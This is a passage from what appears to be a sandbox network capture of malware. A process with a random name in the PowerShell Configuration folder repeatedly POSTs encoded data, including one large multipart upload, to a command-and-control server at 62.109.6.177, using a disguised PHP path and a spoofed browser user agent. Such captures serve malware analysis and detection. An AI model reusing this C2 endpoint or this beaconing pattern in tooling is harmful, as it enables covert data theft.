Jan 4, 2025 13:37:22.187392950 CET	2580	OUT	Data Raw: 50 5b 5a 5b 5b 5c 57 51 5d 59 52 51 5a 5d 55 57 5f 5d 5c 48 50 5d 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: P[Z[[\WQ]YRQZ]UW_]\HP]V\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.>Z'#9^10_():!$63^,Z1$.'9V)(^"3 1.\/'^.-
Jan 4, 2025 13:37:22.556657076 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:22.692365885 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:22.867299080 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue
Jan 4, 2025 13:37:23.218584061 CET	2580	OUT	Data Raw: 50 57 5f 5e 5b 5e 57 5c 5d 59 52 51 5a 5d 55 56 5f 5e 5c 43 50 50 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PW_^[^W\]YRQZ]UV_^\CPPV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)'#*=2\)2 $9%881=3)$S>9<_ 4%<.\/'^.)
Jan 4, 2025 13:37:23.565869093 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:23.700498104 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:23.850312948 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:24.203022957 CET	2584	OUT	Data Raw: 55 55 5a 58 5e 53 52 5b 5d 59 52 51 5a 55 55 51 5f 59 5c 47 50 53 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZX^SR[]YRQZUUQ_Y\GPSVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.A>(4&^%9_*26$.';8Z%40<V< 1.\/'^.
Jan 4, 2025 13:37:24.543201923 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:24.634073019 CET	363	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----gcFmrSHzTav7zJwuCvCwdwq9Ooqo80dmBE User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 174050 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:24.984201908 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 63 46 6d 72 53 48 7a 54 61 76 37 7a 4a 77 75 43 76 43 77 64 77 71 39 4f 6f 71 6f 38 30 64 6d 42 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------gcFmrSHzTav7zJwuCvCwdwq9Ooqo80dmBEContent-Disposition: form-data; name="0"Content-Type: text/plainPQZ]^\W]]YRQZTUV_\\CP]V][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ
Jan 4, 2025 13:37:24.989207983 CET	2472	OUT	Data Raw: 4b 77 5a 75 4e 31 30 50 55 68 35 47 74 32 62 66 6d 4d 41 4f 7a 39 70 77 76 6a 53 2f 66 7a 54 4c 63 4f 54 4c 73 55 65 38 74 35 42 39 36 4c 2b 68 7a 6d 51 78 75 76 7a 35 57 56 41 2f 45 79 33 52 6e 61 6d 71 6d 41 31 39 69 77 73 53 39 51 52 75 44 36 Data Ascii: KwZuN10PUh5Gt2bfmMAOz9pwvjS/fzTLcOTLsUe8t5B96L+hzmQxuvz5WVA/Ey3RnamqmA19iwsS9QRuD6sukPkIpPFj57J5RyBB0PdRTBfX0yoE5p3yEIMLxQ54IDDM4FzSYGOD8HyV2eKz5PQCm+PCtz9GeMIb91k1uZjfPRp1suUeZ9S9jhi5pvpl/LzPvpvefctNG6OUMc6B+uTxt06kSZC767whX65FBPjnNi2GSi7SF8w
Jan 4, 2025 13:37:24.989411116 CET	7416	OUT	Data Raw: 44 44 47 73 67 44 52 41 59 51 39 44 6a 4e 6e 4e 4f 4f 47 44 4d 72 67 77 73 4e 56 43 30 77 76 4e 75 71 4e 6b 74 41 6c 55 7a 41 71 67 32 47 56 35 45 75 37 72 4b 41 49 31 2b 53 2f 4a 4a 63 39 6e 41 72 71 49 2b 78 34 51 62 52 7a 33 49 31 4d 61 2f 45 Data Ascii: DDGsgDRAYQ9DjNnNOOGDMrgwsNVC0wvNuqNktAlUzAqg2GV5Eu7rKAI1+S/JJc9nArqI+x4QbRz3I1Ma/EWUfDU/R7ti9ma30sK719FGfOzXwKX92w3rSwlN+zvBBAHyXWgGhPzuDNqIGoAgEXdJMsZtKtN8WcM90Rq5nizaoCb65uWs0QzjiXMrYDo/556GPdIq5elRlDcJ7tPkbyy9Gf5bOImfVaWortYFnIXMSCNjg7VFQOU
Jan 4, 2025 13:37:24.989438057 CET	4944	OUT	Data Raw: 53 33 76 48 46 64 62 38 66 43 79 39 33 45 73 6d 73 51 4e 52 42 6a 4c 69 56 48 37 35 42 2b 63 70 32 47 72 38 2b 66 44 41 77 38 66 48 58 74 56 48 64 54 73 43 70 38 2b 36 39 30 34 58 70 69 62 43 6a 6c 68 79 33 58 31 2b 66 42 78 33 50 7a 5a 51 66 47 Data Ascii: S3vHFdb8fCy93EsmsQNRBjLiVH75B+cp2Gr8+fDAw8fHXtVHdTsCp8+6904XpibCjlhy3X1+fBx3PzZQfGxd9pR8ZCtPIp3++8uOj4fKE9DR4vbO4nGfR9FOOlX3xdXX9SmhadVaHNATWyV/t9LIZcEsL/c2GtE7zZdZn315oHut/kqoPlURnCJkVNWgvr5+I2BZZ43Ly2RgtHukWCqJrBlpGFj6WZC7YvrRShvuSkZYs5nV50Q
Jan 4, 2025 13:37:24.989466906 CET	9888	OUT	Data Raw: 4d 58 68 72 56 71 33 39 42 33 67 41 46 2b 32 39 76 39 36 65 72 70 50 59 75 2f 42 7a 30 61 67 65 64 47 4b 2b 6e 4c 2f 44 4d 65 36 67 63 50 6f 45 69 73 4a 56 6c 69 6b 63 62 2b 72 49 78 58 4e 48 69 58 4f 72 58 45 71 51 42 2f 50 77 78 46 51 58 34 43 Data Ascii: MXhrVq39B3gAF+29v96erpPYu/Bz0agedGK+nL/DMe6gcPoEisJVlikcb+rIxXNHiXOrXEqQB/PwxFQX4CofUaEPuyeZOS0sBdATqrR3HIhlur06OOjYR0w+vylOSvi6YMn34nNggfDTj53XxN4ySSUR+bfrG9xBy1KzXkW58xo4PdBq+947ev3nC3NEqr+tcJ5ZxwEPed6W9bJRQ0N5Dl9ndczp+KaKw0Jply2VpoKjAr3qqYk
Jan 4, 2025 13:37:24.994029999 CET	2472	OUT	Data Raw: 4e 41 38 4b 4b 6b 5a 65 52 4b 39 71 52 54 33 4f 68 4d 72 74 4c 36 57 31 4d 6d 2b 6b 36 79 66 56 4c 55 2b 45 39 51 43 6b 79 37 68 50 57 59 4e 75 4b 42 61 39 70 79 6d 51 6d 55 75 4b 2b 6d 30 6f 77 44 79 46 7a 30 69 58 67 56 56 65 75 62 34 4d 47 53 Data Ascii: NA8KKkZeRK9qRT3OhMrtL6W1Mm+k6yfVLU+E9QCky7hPWYNuKBa9pymQmUuK+m0owDyFz0iXgVVeub4MGSHyg8WgUIaoZ5gwtDYA68Sc5IVUFIfrPtO0W59JXNdRFyCiIT/I3WtjRmvfoY/CcKrJwIlyyebwySda4mV20wrx53y4EOPiK9PtyQnnGFGvSShP+jCDy28HsZCv1kWXZCn4nZY5Gob9RO3py4Y3fl2xQoaPfh85dJA
Jan 4, 2025 13:37:24.994071960 CET	2472	OUT	Data Raw: 39 48 5a 67 6a 79 66 54 4f 6e 55 33 35 4b 6b 44 56 64 6b 79 34 73 52 37 50 42 77 38 68 74 65 47 33 4e 69 67 4a 32 73 42 62 33 33 45 61 64 52 54 52 54 52 4b 6d 72 75 72 58 78 72 41 52 4d 71 7a 69 75 6b 6c 70 75 56 55 53 2b 39 2f 72 54 6b 61 6d 66 Data Ascii: 9HZgjyfTOnU35KkDVdky4sR7PBw8hteG3NigJ2sBb33EadRTRTRKmrurXxrARMqziuklpuVUS+9/rTkamfNnlYyRuqdhvkDM1txIrmhg+WB4wVWfRlTHiu9jEJMo9Ru3N7yQy0Y33zapOOzRqvLS62mQFuZRP0Pz9VRPGMhPNU+K2Gc1ogHiZF68DEAvHiTD+OzUOC4mME0hls91rM2VVXNAgMgIYULdBWBn0CDG1F8lZ+l2WV9
Jan 4, 2025 13:37:24.994257927 CET	4944	OUT	Data Raw: 58 6b 54 63 49 48 51 73 32 69 66 69 63 54 72 34 6c 68 4f 53 51 45 67 45 56 6b 58 2b 39 62 51 4a 49 51 54 56 4c 4c 79 33 42 59 57 77 51 6c 45 51 59 32 59 6a 64 52 41 30 5a 41 70 69 58 41 79 61 6f 73 38 71 36 68 45 56 79 43 57 6c 62 5a 31 64 31 2b Data Ascii: XkTcIHQs2ificTr4lhOSQEgEVkX+9bQJIQTVLLy3BYWwQlEQY2YjdRA0ZApiXAyaos8q6hEVyCWlbZ1d1+Nm2xKlK0IWAEtDolroph8ERYPzvdeqJQUec9BcBWklQ8Gmnaa/uygPgK0MXA0LgaxUxkKHiC1jCQZaz/g1QXGD25vSewUs+8h1HZVNcTi4TS4R+AtcGOWpE4Vzahd4T4NexXt6FgRO4P2mVCIQ6wECo5FXOTp+nwP
Jan 4, 2025 13:37:24.994307995 CET	4944	OUT	Data Raw: 37 4b 4f 6c 73 2f 53 6f 74 4e 4d 67 4c 36 73 66 61 63 46 72 38 32 4b 48 58 61 6b 35 37 56 72 32 42 37 53 4e 32 78 61 55 6d 36 56 4b 51 7a 78 64 48 49 74 33 35 49 51 61 55 44 4f 43 34 5a 45 50 62 6a 31 56 6b 66 6d 79 4c 36 6c 32 62 32 4c 57 33 46 Data Ascii: 7KOls/SotNMgL6sfacFr82KHXak57Vr2B7SN2xaUm6VKQzxdHIt35IQaUDOC4ZEPbj1VkfmyL6l2b2LW3FoH1fNMKuvGb60HdVc8Gz93EqlP5b1WcFUGs6zCpXZm0C5PRq8yKKGg1P1W1mjPGj6Ly5mNgfpLxjw/NokLVdFKwiUOdrKW0sOn/lw67Er3IUnu8k5Nz7dQJ1nEL2PQG6W5qouvY7cY/aIyyUFZP/U1vqvLclYLWen
Jan 4, 2025 13:37:25.040014982 CET	34608	OUT	Data Raw: 79 74 6d 38 6e 33 6b 78 58 69 39 38 56 77 6e 67 4b 54 72 78 31 53 67 39 4f 59 6a 4e 4a 78 73 59 71 70 32 4d 4f 76 47 46 4c 35 67 59 48 64 45 6c 4c 6c 33 42 4f 4e 39 32 4e 6c 35 31 5a 6e 38 30 4b 53 35 6c 77 2f 5a 54 58 34 72 42 2f 79 44 33 68 52 Data Ascii: ytm8n3kxXi98VwngKTrx1Sg9OYjNJxsYqp2MOvGFL5gYHdElLl3BON92Nl51Zn80KS5lw/ZTX4rB/yD3hRkt6CA3vTpPX0vPyU0PCxoaPshzQMJgBncHhrT6oB3FoNThu9EZeMXbNjLrHQRybU/2aF0LlYMDCBTo1MaKIkGpDgypwKi0M4o5b0ceIPgaFlrMFZjvc1RKljBU2KpTev5gFbki+U3JW4CF2GA3B3u4YhBZJC73Gx6
Jan 4, 2025 13:37:25.320424080 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:25.697128057 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:24.786371946 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:25.140392065 CET	2584	OUT	Data Raw: 55 52 5f 5d 5e 5b 57 58 5d 59 52 51 5a 54 55 51 5f 5a 5c 44 50 50 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_]^[WX]YRQZTUQ_Z\DPPV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.E*?#:&2V!X=92!B%';8Y2$'9$U=' &.\/'^.
Jan 4, 2025 13:37:25.510478020 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:25.643464088 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:25.767332077 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:26.124780893 CET	2584	OUT	Data Raw: 55 52 5a 5f 5e 59 52 5a 5d 59 52 51 5a 58 55 5c 5f 55 5c 44 50 53 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: URZ_^YRZ]YRQZXU\_U\DPSV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=$X#:&)X!'$^&B1P3>9(\4 1.\/'^.5
Jan 4, 2025 13:37:26.451850891 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:26.585442066 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:26.723084927 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:27.078591108 CET	2584	OUT	Data Raw: 50 57 5f 59 5e 5f 57 5e 5d 59 52 51 5a 59 55 55 5f 5f 5c 45 50 5c 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PW_Y^_W^]YRQZYUU__\EP\V_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.A<'#)[29X:&6Y$+<1')$T();70^%,.\/'^.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:27.521430969 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:27.874814034 CET	1904	OUT	Data Raw: 55 51 5a 58 5b 58 52 5a 5d 59 52 51 5a 5a 55 52 5f 54 5c 46 50 5c 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UQZX[XRZ]YRQZZUR_T\FP\VZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-< :^%V")!$]08 Z'$"3*0V))(_" (1.\/'^.
Jan 4, 2025 13:37:28.249236107 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:28.381603956 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 5c 23 00 08 04 21 3d 28 19 33 00 2b 56 22 06 39 1c 3a 57 23 01 31 1a 35 5c 28 0b 2b 1f 35 3a 2d 10 29 3f 24 0e 31 30 00 0b 32 00 2c 5b 04 1f 23 1a 22 11 07 5f 2d 3c 05 5f 3b 54 31 5f 24 03 0e 5a 2a 12 2b 55 21 20 3c 12 3c 39 29 52 24 2a 2f 1c 2a 2a 0d 19 24 30 30 5a 26 01 2b 5e 02 15 24 5d 2a 3d 21 0e 21 10 21 59 31 22 2e 56 24 1b 30 52 20 3b 2b 52 3e 3a 25 01 30 3c 2c 1e 34 27 25 5f 21 59 31 05 37 06 33 1b 32 03 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %\#!=(3+V"9:W#15\(+5:-)?$102,[#"_-<_;T1_$Z+U! <<9)R$/*$00Z&+^$]=!!!Y1".V$0R ;+R>:%0<,4'%_!Y1732%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:27.648650885 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:27.999825954 CET	2580	OUT	Data Raw: 50 55 5f 5e 5e 52 57 51 5d 59 52 51 5a 5d 55 53 5f 58 5c 47 50 52 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_^^RWQ]YRQZ]US_X\GPRVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=, )Z1=.6B>0(+&$$8) 0$%.\/'^.
Jan 4, 2025 13:37:28.326945066 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:28.457222939 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:28.580523968 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:28.937268019 CET	2584	OUT	Data Raw: 50 54 5f 5a 5e 59 57 5d 5d 59 52 51 5a 55 55 52 5f 5f 5c 48 50 51 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PT_Z^YW]]YRQZUUR__\HPQV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.=<Y4"[&-^=)9_5$'8 _20$U=9#&.\/'^.
Jan 4, 2025 13:37:29.257618904 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:29.390505075 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:29.516371012 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:29.874799967 CET	2580	OUT	Data Raw: 50 5b 5f 59 5b 5e 52 5a 5d 59 52 51 5a 5d 55 5d 5f 59 5c 42 50 5d 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: P[_Y[^RZ]YRQZ]U]_Y\BP]V\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-, ]4_)%V:)*6:$; _%)09>9 Y#3;\1.\/'^.
Jan 4, 2025 13:37:30.222137928 CET	25	IN	HTTP/1.1 100 Continue
